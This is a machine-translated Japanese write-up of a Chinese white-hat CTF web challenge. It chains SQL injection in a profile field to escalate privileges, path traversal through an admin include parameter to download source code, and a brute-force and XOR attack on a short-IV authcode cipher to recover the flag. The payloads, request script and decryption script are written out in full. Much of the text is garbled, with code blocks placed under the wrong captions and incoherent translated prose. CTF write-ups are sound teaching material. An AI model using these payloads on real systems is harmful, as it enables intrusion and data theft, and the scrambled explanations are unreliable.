ホームページ  >  記事  >  バックエンド開発  >  ホワイトハットの 3 つの課題: 私は Li Leilei で、Han Meimei シリーズ 3 を探しています -- 書き込み

ホワイトハットの 3 つの課題: 私は Li Leilei で、Han Meimei シリーズ 3 を探しています -- 書き込み

WBOY
WBOYオリジナル
2016-06-20 12:28:41900ブラウズ

と入力すると、index.php でログインや登録ができることがわかり、admin/admin を試してみたところ、本当にログインできました。後で別の人が登録していることが確認されました。 。

user.php はデータを変更できます。性別フィールドを挿入できることをテストしました。

#!phpupdate users set sex=[injection_here] where id = 1;

[injection_here] 部分にそのような機能があることがわかりました。このステートメント (挿入された場合) はフィールドの名前です。このフィールドが存在する場合は 1 が返され、そうでない場合は 0 が返されます。特に必要でない限り、http パラメータを通じて渡される文字はすべて数値に変換されません。ここでの性別は 0 と 1 で表され、これはこの条件とまったく同じです。しかし、テストには長い時間がかかりましたが、結果は得られませんでした。翌日、最初のヒントが表示されました。ページの指示に従ってください。 admin.php にアクセスすると、

#!bashYour power is too low.

が構築されていることがわかり、それをクリックするとファイルが 2 つあることがわかります。 test.php、welcome.php のファイルをクリックすると、ファイルが http://url/file/download.php であることが分かりました。このディレクトリ内のファイルはダウンロードできますが、ダウンロードできません。 download.php をダウンロードするときに、2 つの連続した小数点またはスラッシュが検出されると、不正な操作が要求され、非常に恥ずかしいです。

#!phpupdate users set sex=1,power=1 where id = 1;
制御可能なパラメータをすべて注意深く見てみると、admin.php の m パラメータが次のようであることがわかりました。

ここには任意のファイルの読み込みがあると思いますが、そうではありませんadmin.php A ディレクトリと同じですが、カレントディレクトリ名がわからないので、カレントディレクトリ名は気にせず、そのままクロスします。

#!htmlhttp://url/admin.php?m=filemanager

切り詰めると無効になります

#!htmlhttp://url/admin.php?m=../index
しかし、実際にホームページに戻った場合は、現在のディレクトリにあるファイルを 1 か所にダウンロードでき、任意の php を含めることができます。ファイルを別の場所に置くと、2 つの場所を組み合わせることができます。どのような火花が表示されますか?

download.php のソース コードを推測します

download.php

admin.php (後でダウンロードして直接貼り付けました)

#!php<?php$file=$_GET['f'];if(stripos($file,'..')||stripos($file,'/')){    print "Illeagle opperation!";}else if(!file_get_contents($file)){    print "file not found";}else{    header('Content-Type:file/documents'); //忘了咋写了。。。乱写一个类型    header('Content-Disposition: attachment; filename="'.$file.'"');    header('Content-Length:'.filesize($file));    readfile(dirname(__FILE__).$file);}?>

この場合、ディレクトリ制限を変更するには、download.php をインクルードするだけです~ 最終ペイロード

#!php<?php require_once('inc/common.php');if ($_SESSION['power'] == 1){    if (isset($_GET['m'])) {        $model = "model/" . $_GET['m'] . ".php";        if (!is_file($model)){            echo "Model not exist!";            exit;         } else {            include_once($model);        }    }} else {    exit("Error, your power is too low.");}?>

が直接ダウンロードされたことがわかります。 。

#!htmlhttp://url/admin.php?m=../file/download&f=admin.php
その後、ヒント3を与えてflag.phpをダウンロードしました(実際にグループで議論している人を見かけました。このファイルを推測してヒントを出しました)ので、ダウンロードして見てみました

authcode.php

#!php<?phprequire_once('inc/common.php');require_once('authcode.php');echo "where is the flag?";$flag = authcode('4da1JE+SVphprnaoZJlJTsXKmi+hkEFTlkrbShMA6Uq5npWavTX8vFAh3yGYDf6OcbZePTLJIT+rB2sHzmPO2tuVQ','DECODE',$authkey);?>

common.php に関しては、このディレクトリ制限を越えることができないため、インクルードすることはできますが、ダウンロードすることはできません。 common.php にあるので、それを直接与えることができます。解決策を見つける必要があります。

#!php<?phpfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {     // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙     $ckey_length = 3;     // 密匙     $key = md5($key ? $key : $GLOBALS['discuz_auth_key']);     // 密匙a会参与加解密     $keya = md5(substr($key, 0, 16));     // 密匙b会用来做数据完整性验证     $keyb = md5(substr($key, 16, 16));     // 密匙c用于变化生成的密文     $keyc = $ckey_length?($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(hash('sha256', microtime()), -$ckey_length)) : '';     // 参与运算的密匙     $cryptkey = $keya.md5($keya.$keyc);     $key_length = strlen($cryptkey);     // 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性     // 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确     $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;     $string_length = strlen($string);     $result = '';     $box = range(0, 255);     $rndkey = array();     // 产生密匙簿     for($i = 0; $i <= 255; $i++) {       $rndkey[$i] = ord($cryptkey[$i % $key_length]);     }     // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度     for($j = $i = 0; $i < 256; $i++) {       $j = ($j + $box[$i] + $rndkey[$i]) % 256;       $tmp = $box[$i];       $box[$i] = $box[$j];       $box[$j] = $tmp;     }     // 核心加解密部分     for($a = $j = $i = 0; $i < $string_length; $i++) {       $a = ($a + 1) % 256;       $j = ($j + $box[$a]) % 256;       $tmp = $box[$a];       $box[$a] = $box[$j];       $box[$j] = $tmp;       // 从密匙簿得出密匙进行异或,再转成字符       $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));     }     if($operation == 'DECODE') {       // substr($result, 0, 10) == 0 验证数据有效性       // substr($result, 0, 10) - time() > 0 验证数据有效性       // substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性       // 验证数据有效性,请看未加密明文的格式       if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {         return substr($result, 26);     } else {         return '';       }     } else {       // 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因       // 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码       return $keyc.str_replace('=', '', base64_encode($result));     }  }?>
このパスワードブックは非常に複雑で、仕方なく見てみたところ、keyc は時間に関係しており、現在の sha256 の最初の 3 文字であることがわかりました。 keyc が使用されている場合、keyc を暗号文に含める必要があります。そうでない場合、コードを読んだところ、最終的な暗号文は確かに keyc の最初の 3 桁を結合していることがわかりました。これが唯一の突破口です。

discuz 認証コードの欠陥について Google で検索したところ、この実装で実装されているストリーム暗号の IV 部分が短すぎて、わずか 4 桁であると誰かが指摘していることがわかりました。質問に示されている修正バージョンには 3 桁しかないので、keya と keyb が固定されているため、それを爆発させる方法を見つけてください。パスワードブックを生成するには、keya、keyb、keyc が正しいことを確認するだけで済みます。同じパスワードを生成する場合は同じです。

より前にダウンロードされた test.php の内容が一連の平文を提供していることに注意してください。その後、このページにアクセスし続けることで暗号文を取得し、最初の内容を展開できます。最初の 3 桁が同じ場合 ストリーム暗号で使用されるキーも同じです。 以下は単純なブラスト スクリプトです。

#!php<?php require_once(dirname(__FILE__).'/../inc/common.php');require_once(dirname(__FILE__).'/../authcode.php');if ($_SESSION['power'] == 1){    $test = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM";    echo authcode($test,'ENCODE',$authkey);} else {    exit("Error, your power is too low.");}?>
web.py

があるためです。わずか 3 桁の暗号文を読み出すには、約 3 ~ 4 分かかります。 authcode.php の暗号化関数の主な内容を振り返ってみましょう。

#!pythonimport requestsurl1 = 'http://408ffe393d342329a.jie.sangebaimao.com/file/test.php'url2 = 'http://408ffe393d342329a.jie.sangebaimao.com/index.php'url3 = 'http://408ffe393d342329a.jie.sangebaimao.com/user.php's = requests.session()data = {'username':'admin','password':'admin','submit':'login'}res=s.post(url2,data=data);c=s.get(url1)while c.content[0:3]!='4da':    c=s.get(url1)    print c.content[0:3]print c.content

暗号文の各文字 (ここでは keyc は結合されていません) が xor 演算を通じて取得されていることがわかります。 xor のもう一方のオペランドは固定です。次に、平文は xor で 2 回解くことができます。しかし、これだけでは十分ではありません。暗号文の構成を分析してみましょう。

#!phpfor($a = $j = $i = 0; $i < $string_length; $i++) {      $a = ($a + 1) % 256;      $j = ($j + $box[$a]) % 256;      $tmp = $box[$a];      $box[$a] = $box[$j];      $box[$j] = $tmp;      // 从密匙簿得出密匙进行异或,再转成字符      $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));  }  

つまり、取得した暗号文の最初の 3 桁は動的キーであり、キーが同じであれば次の 26 桁は固定されます。実際の暗号文は 29 番目から始まります。数字を使用して、暗号文の最初の 3 桁を削除し、等号を埋めて、復号化しました。

#!php$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;  return $keyc.str_replace('=', '', base64_encode($result));
exp.py

フラグを取得

#!pythonimport base64flagcode='1JE+SVphprnaoZJlJTsXKmi+hkEFTlkrbShMA6Uq5npWavTX8vFAh3yGYDf6OcbZePTLJIT+rB2sHzmPO2tuVQ=='testcode='1JE+SVphprnaoZMwdTdAfTy5hRlRHlspMHwQWPdxqCgEY/nV4uAQwTCcJjyge8HOK6eYL9/28l61TX/dNzAIf3R7wDnRqqFsj5chZoMsnjjvy1UbpdRiEg=='test='1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'testcode_b64decode=base64.b64decode(testcode)[26:]flagcode_b64decode=base64.b64decode(flagcode)[26:]flag=''for i in range(0,len(flagcode_b64decode)):    flag+=chr(ord(flagcode_b64decode[i])^(ord(testcode_b64decode[i])^ord(test[i])))print flag

#!bashmiao{de142af548c3b52fd754c1c29a100b67}
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。